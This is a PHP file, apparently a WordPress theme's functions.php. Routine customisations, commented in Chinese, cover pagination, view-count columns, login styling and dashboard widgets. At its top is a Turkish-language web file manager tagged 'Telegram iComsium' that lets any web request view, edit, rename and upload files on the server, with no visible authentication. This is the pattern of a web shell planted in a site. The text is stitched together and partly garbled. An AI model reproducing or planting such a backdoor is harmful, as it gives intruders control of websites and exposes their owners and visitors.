Dosya kaydedildi.
";
}
// -------- Dosya yeniden adlandırma --------
if (isset($_POST['rename_file']) && isset($_POST['new_name'])) {
$old = $_POST['rename_file'];
$dir = dirname($old);
$new = $dir . '/' . basename($_POST['new_name']);
if (rename($old, $new)) {
echo "Dosya yeniden adlandırıldı.
";
} else {
echo "Yeniden adlandırma başarısız!
";
}
}
// -------- Dosya yükleme --------
if (isset($_FILES['upload_file'])) {
$target = rtrim($path, '/') . '/' . basename($_FILES['upload_file']['name']);
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $target)) {
echo "Dosya yüklendi: " . basename($target) . "
";
} else {
echo "Yükleme hatası!
";
}
}
echo "Telegram iComsium Current root: $root
";
echo "Current path: $path
";
echo '..
';
foreach (glob(rtrim($path,'/').'/*') as $file) {
echo ''.basename($file).'';
if (is_file($file)) {
echo ' | [Göster]';
echo ' | [Düzenle]';
echo ' | [Yeniden Adlandır]';
}
echo "
";
}
echo "
";
// -------- Dosya düzenleme arayüzü --------
if (isset($_GET['edit']) && is_file($_GET['edit'])) {
$editFile = $_GET['edit'];
$content = htmlspecialchars(file_get_contents($editFile));
echo "Dosya Düzenle: ".basename($editFile)."
";
echo '
';
}
// -------- Dosya yeniden adlandırma arayüzü --------
if (isset($_GET['rename']) && is_file($_GET['rename'])) {
$renameFile = $_GET['rename'];
echo "Dosya Yeniden Adlandır: ".basename($renameFile)."
";
echo '
';
}
// -------- Dosya yükleme formu --------
echo 'Dosya Yükle
';
?>
post_type == 'page') {
// get_sidebar('404');
// echo '';
// return true;
// } else {
// return false;
// }
// }
function MBThemes_paging() {
$p = 3;
if ( is_singular() ) return;
global $wp_query, $paged;
$max_page = $wp_query->max_num_pages;
if ( $max_page == 1 ) return;
echo '';
}
function p_link( $i, $title = '' ) {
if ( $title == '' ) $title = "{$i}";
echo "{$title}";
}
function p_curr_link( $i) {
echo ''.$i.'';
}
add_filter( 'post_thumbnail_html', 'remove_width_attribute', 10 );
add_filter( 'image_send_to_editor', 'remove_width_attribute', 10 );
function remove_width_attribute( $html ) {
$html = preg_replace( '/(width|height)="\d*"\s/', "", $html );
return $html;
}
//后台文章列表添加 浏览数
add_action('manage_posts_custom_column', 'add_postviews_column_content');
add_filter('manage_posts_columns', 'add_postviews_column');
add_action('manage_pages_custom_column', 'add_postviews_column_content');
add_filter('manage_pages_columns', 'add_postviews_column');
function add_postviews_column($defaults) {
$defaults['views'] = __( 'Views' );
return $defaults;
}
function add_postviews_column_content($column_name) {
if ($column_name === 'views' ) {
if ( function_exists('the_views' ) ) {
the_views( true, '', '', true );
}
}
}
add_filter( 'manage_edit-post_sortable_columns', 'sort_postviews_column');
add_filter( 'manage_edit-page_sortable_columns', 'sort_postviews_column' );
function sort_postviews_column( $defaults ) {
$defaults['views'] = 'views';
return $defaults;
}
add_action('pre_get_posts', 'sort_postviews');
function sort_postviews($query) {
if ( ! is_admin() ) {
return;
}
$orderby = $query->get('orderby');
if ( 'views' === $orderby ) {
$query->set( 'meta_key', 'views' );
$query->set( 'orderby', 'meta_value_num' );
}
}
add_filter('manage_posts_columns', function($columns){
$columns['views'] = __('Views');
return $columns;
});
add_action('manage_posts_custom_column',function($column_name,$id){
if ($column_name != 'views'){
return;
}
echo get_post_meta($id, "views",true);
},10,2);
// 设置登录界面样式
function admin_login_style()
{
wp_enqueue_style('admin-login', get_template_directory_uri() . '/login/login.css');
wp_enqueue_script('admin-login-script', get_template_directory_uri() . '/login/login.js');
}
add_action('login_enqueue_scripts', 'admin_login_style');
// 设置登录logourl
function loginUrl()
{
return home_url();
}
add_filter('login_headerurl', 'loginUrl');
function disable_default_dashboard_widgets() {
remove_meta_box('dashboard_right_now', 'dashboard', 'core'); //概况(Right Now)
remove_meta_box('dashboard_recent_comments', 'dashboard', 'core'); //近期评论(Recent Comments)
remove_meta_box('dashboard_incoming_links', 'dashboard', 'core'); //链入链接(Incoming Links)
remove_meta_box('dashboard_plugins', 'dashboard', 'core'); //插件(Plugins)
remove_meta_box('dashboard_quick_press', 'dashboard', 'core'); //快速发布(QuickPress)
remove_meta_box('dashboard_recent_drafts', 'dashboard', 'core'); //近期草稿(Recent Drafts)
remove_meta_box('dashboard_primary', 'dashboard', 'core'); //WordPress China 博客(WordPress Blog)
remove_meta_box('dashboard_secondary', 'dashboard', 'core'); //其它 WordPress 新闻(Other WordPress News)
}
add_action('admin_menu', 'disable_default_dashboard_widgets');
function wpkj_remove_dashboard_widget() {
remove_meta_box( 'dashboard_site_health', 'dashboard', 'normal' );
}
add_action('wp_dashboard_setup', 'wpkj_remove_dashboard_widget' );
function wpkj_remove_site_health_menu(){
remove_submenu_page( 'tools.php','site-health.php' );
}
add_action( 'admin_menu', 'wpkj_remove_site_health_menu' );
add_filter( 'contextual_help', 'wpse50723_remove_help', 999, 3 );
function wpse50723_remove_help($old_help, $screen_id, $screen){
$screen->remove_help_tabs();
return $old_help;
}
function get_ssl_avatar($avatar) {
$avatar = preg_replace('/.*\/avatar\/(.*)\?s=([\d]+)&.*/','
',$avatar);
return $avatar;
}
add_filter('get_avatar', 'get_ssl_avatar');
/**
* 禁止搜索引擎收录媒体页
*
*/
function Bing_disable_robots_index_attachment_pages() {
if ( is_attachment() )
wp_no_robots();
}
add_action( 'wp_head', 'Bing_disable_robots_index_attachment_pages' );
//修改底部文字
function footerText () {
return '感谢畔游科技提供技术支持';
}
add_filter('admin_footer_text', 'footerText', 9999);
function git_disable_attachment_pages() {
global $post; if (is_attachment()) {
if (!empty($post->post_parent)) {
wp_redirect(get_permalink($post->post_parent) , 301); exit;
} else {
wp_redirect(home_url()); exit;
}
}
}
add_action('template_redirect', 'git_disable_attachment_pages', 1);